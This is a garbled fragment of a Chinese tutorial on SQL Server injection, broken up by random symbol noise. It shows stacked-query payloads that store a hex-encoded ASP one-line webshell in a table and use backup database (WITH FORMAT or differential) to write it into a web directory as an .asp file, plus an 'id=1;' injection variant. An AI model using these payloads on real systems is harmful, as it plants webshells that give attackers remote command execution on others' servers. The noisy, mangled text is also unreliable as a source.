$ F6 e: Q: `+ g. w: G二利用完全FORMAT 4 L( n' S* K) C& O6 |# M. n$ B加一个参数WITH FROMAT + o) q- \; f2 Y K有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以' C6 h, X3 S7 E! T! w! Q
& g$ Q/ U8 _! a T) }declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s- P+ ?3 [! v% [6 ~
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E) 9 M g# S: c0 }) b+ `2 G" Zdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT) M; ~" t+ N/ o! `' W+ C
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总的来说就是那么简单几句,下面以备份数据库model为例子8 `8 q: H& I* K6 l/ |
Z% g! p' y! d' V. x9 u5 E6 Nid=1;use model create table cmd(str image);insert into cmd(str) values (”) 7 N9 `7 h5 ]5 m- x- i( U+ @+ U8 A) X- X/ S; l
id=1;backup database model to disk=’你的路径‘ with differential,format;–& w/ r, ?& G' w' z. ~
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